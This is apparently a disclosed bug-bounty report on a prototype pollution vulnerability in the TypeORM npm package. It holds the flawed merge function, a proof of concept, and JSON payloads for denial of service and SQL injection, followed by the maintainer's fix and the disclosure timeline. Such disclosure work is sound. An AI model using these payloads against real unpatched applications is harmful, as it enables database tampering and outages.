SQL Injection or Denial of Service due to a Prototype Pollution

6

Share:

TIMELINE

phra submitted a report to Node.js third-party modules. May 9th (3 years ago)

I would like to report a prototype pollution vulnerability in the `typeorm` package.

It allows an attacker that is able to save a specially crafted object to pollute the `Object` prototype and cause side effects on the library/application logic, such as denials of service attacks and/or SQL injections, by adding arbitrary properties to any object in the runtime. If the end application depending on the library has dynamic code evaluation or command execution gadgets, the attacker can potentially trigger arbitrary command execution on the target machine.

Module

module name: TypeORM
version: v0.2.24, latest
npm page: https://www.npmjs.com/package/typeorm

Module Description

TypeORM is an ORM that can run in NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo, and Electron platforms and can be used with TypeScript and JavaScript (ES5, ES6, ES7, ES8). Its goal is to always support the latest JavaScript features and provide additional features that help you to develop any kind of application that uses databases - from small applications with a few tables to large scale enterprise applications with multiple databases.

Module Stats

[1] weekly downloads: 385,403

Vulnerability

Vulnerability Description

The vulnerability was found after a source code review of the library on GitHub. In particular, the following snippet of code can be found in OrmUtils.ts:

https://github.com/typeorm/typeorm/blob/e92c743fb54fc404658fcaf2254861b6aa63bd98/src/util/OrmUtils.ts#L66

Code 1020 Bytes Wrap lines Copy Download

```
/**
 * Deep Object.assign.
 *
 * @see http://stackoverflow.com/a/34749873
 */
function mergeDeep(target, ...sources) {
    if (!sources.length) return target;
    const source = sources.shift();

    if (isObject(target) && isObject(source)) {
        for (const key in source) {
            const value = source[key];
            if (value instanceof Promise)
                continue;

            if (isObject(value)
                && !(value instanceof Map)
                && !(value instanceof Set)
                && !(value instanceof Date)
                && !(value instanceof Buffer)
                && !(value instanceof RegExp)
                && !(value instanceof URL)) {
                if (!target[key])
                    Object.assign(target, { [key]: Object.create(Object.getPrototypeOf(value)) });
                mergeDeep(target[key], value);
            } else {
                Object.assign(target, { [key]: value });
            }
        }
    }

    return mergeDeep(target, ...sources);
}
```

The mentioned function, as we can see from the code, doesn't account for built-in properties such as `__proto__`, causing pollution of the `Object` prototype when a specially crafted object is passed in the rest argument `...sources`.

Steps To Reproduce:

To test if the function is vulnerable we can run the following proof of concept to confirm that in some situations we can control at least one element in the rest argument and we can trigger the pollution of `Object` prototype with arbitrary properties.

pollution.js

```

/**
 * Deep Object.assign.
 *
 * @see http://stackoverflow.com/a/34749873
 */
function mergeDeep(target, ...sources) {
    if (!sources.length) return target;
    const source = sources.shift();

    if (isObject(target) && isObject(source)) {
        for (const key in source) {
            const value = source[key];
            if (value instanceof Promise)
                continue;

            if (isObject(value)
                && !(value instanceof Map)
                && !(value instanceof Set)
                && !(value instanceof Date)
                && !(value instanceof Buffer)
                && !(value instanceof RegExp)
                && !(value instanceof URL)) {
                if (!target[key])
                    Object.assign(target, { [key]: Object.create(Object.getPrototypeOf(value)) });
                mergeDeep(target[key], value);
            } else {
                Object.assign(target, { [key]: value });
            }
        }
    }

    return mergeDeep(target, ...sources);
}

const a = {}
const b = JSON.parse(`{"__proto__":{"polluted":true}}`)

mergeDeep(a, b)
console.log(`pwned: ${({}).polluted}`)
```

Exploitation

By naively exploiting the vulnerability, we can cause a denial of service in the running application, for example by causing a loop in the prototype chain as in the following payload:

Code 77 Bytes Wrap lines Copy Download

```
const post = JSON.parse(`{"text":"a","title":{"__proto__":{"polluted":{}}}}`)
```

An SQL injection can be triggered with the following payload, that will add an arbitary WHERE clause to any following query:

Code 108 Bytes Wrap lines Copy Download

```
const post = JSON.parse(`{"text":"a","title":{"__proto__":{"where":{"name":"sqlinjection","where":null}}}}`)
```

A complete proof of concept that can trigger a SQL injection by only depending on the library code is reported here:

(based on https://github.com/typeorm/typescript-example)
sqli.ts

Code 1.44 KiB Wrap lines Copy Download

```
import { createConnection, getConnection } from "typeorm";
import { Post } from "./entity/Post";
import { Category } from "./entity/Category";

async function cleanUp() {
    await createConnection("mongo")
    await createConnection("mysql")
    const mongoConnection = getConnection("mongo")
    const mysqlConnection = getConnection("mysql")
     await mongoConnection.dropDatabase()
     await mysqlConnection.dropDatabase()
     await mongoConnection.close()
     await mysqlConnection.close()
 }

 async function main() {
     await cleanUp()
     await createConnection("mongo")
     await createConnection("mysql")
     const mongoConnection = getConnection("mongo")

    try {
        await mongoConnection.manager.save(Post, post)
        console.log("Post has been saved: ", post)
        const saved = await mongoConnection.manager.find(Post)
        console.log("Posts were found: ", saved)
    } catch (err) {
        console.error(err)
        const category = new Category()
        category.name = 'category'
        await mysqlConnection.manager.save(Category, category)
        const categories = await mysqlConnection.manager.find(Category, {}) // WHERE name = "sqlinjection"
        console.log("Categories were found: ", categories)
    }
}

main().catch(error => console.log("Error: ", error))
```

Patch

The function `mergeDeep` has to account for prototype pollution attacks by skipping built-in properties such as `__proto__`. (e.g. https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b)

Wrap up

> Select Y or N for the following statements:

- I contacted the maintainer to let them know: N
- I opened an issue in the related repository: N

> Hunter's comments and funny memes go here

https://imgflip.com/i/40r9dg

Impact

An attacker can achieve denials of service attacks and/or alter the application logic to cause SQL injections by only depending on the library code. If any useful gadget to trigger an arbitrary code/command execution is also available in the end-user application and the path can be reached with user interaction, the attacker can also achieve arbitrary command execution on the target system.

nochnoidozor posted a comment. May 9th (3 years ago)

Hi @phra,

Thank you for your submission. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additional information to share.

Kind regards,
@nochnoidozor

nochnoidozor changed the status to **Triaged**. May 9th (3 years ago)

Hello @phra,

Thank you for your submission! We were able to validate your report, and have submitted it to the appropriate remediation team for review. They will let us know the final ruling on this report, and when/if a fix will be implemented. Please note that the status and severity are subject to change.

Regards,
@nochnoidozor

pleerock joined this report as a participant. May 19th (3 years ago)

pleerock posted a comment. May 19th (3 years ago)

https://github.com/typeorm/typeorm/pull/6096 Im going to merge these changes to prevent reported issue and release a new npm version.

pleerock posted a comment. May 19th (3 years ago)

0.2.25 (latest) was released with a fix in.

phra posted a comment. May 19th (3 years ago)

I've tested the proposed fix with the following snippet and the issue seems to be fixed:

Code 1.58 KiB Wrap lines Copy Download

```
function isObject(item) {
    return (item && typeof item === "object" && !Array.isArray(item));
}

/**
 * Deep Object.assign.
 *
 * @see http://stackoverflow.com/a/34749873
 */
function mergeDeep(target, ...sources) {
    if (!sources.length) return target;
    const source = sources.shift();

    if (isObject(target) && isObject(source)) {
        for (const key in source) {
            const value = source[key];
            //if (value instanceof Promise)
            if (key === "__proto__" || value instanceof Promise)
                continue;

            if (isObject(value)
                && !(value instanceof Map)
                && !(value instanceof Set)
                && !(value instanceof Date)
                && !(value instanceof Buffer)
                && !(value instanceof RegExp)
                && !(value instanceof URL)) {
                if (!target[key])
                    Object.assign(target, { [key]: Object.create(Object.getPrototypeOf(value)) });
                mergeDeep(target[key], value);
            } else {
                console.log('else ' + key)
                console.log(target)
                Object.assign(target, { [key]: value });
            }
        }
    }

    return mergeDeep(target, ...sources);
}

const a = {}
const b = JSON.parse(`{"__proto__":{"polluted":true}}`)
const c = JSON.parse(`{"constructor":{"prototype":{"polluted2":true}}}`)

mergeDeep(a, b)
mergeDeep(a, c)
console.log(`pwned: ${({}).polluted}`) //undefined
console.log(`pwned2: ${({}).polluted2}`) //undefined
```

phra posted a comment. Jul 22nd (2 years ago)

can we declare the bug solved and proceed to the disclosure? thanks.

marcinhoppe Node.js third-party modules staff closed the report and changed the status to **Resolved**. Jul 24th (2 years ago)

marcinhoppe Node.js third-party modules staff requested to disclose this report. Jul 24th (2 years ago)

phra agreed to disclose this report. Jul 24th (2 years ago)

LGTM

This report has been disclosed. Jul 24th (2 years ago)

phra posted a comment. Jul 24th (2 years ago)

It seems that no NPM advisory was released for the reported vulnerability. I would suggest to create it ASAP due to the potential impact of the vulnerability.

Code 634 Bytes Wrap lines Copy Download

```
phra@kali /tmp/test $ npm i --save typeorm@0.2.24
npm WARN test@1.0.0 No description
npm WARN test@1.0.0 No repository field.

+ typeorm@0.2.24
added 104 packages from 361 contributors and audited 104 packages in 4.197s

4 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities

phra@kali /tmp/test $ npm audit

                       === npm audit security report ===

found 0 vulnerabilities
 in 104 scanned packages
```

marcinhoppe Node.js third-party modules staff posted a comment. Jul 24th (2 years ago)

@phra it is a manual process and it may take a bit of time until this finding is picked up by npm analysts.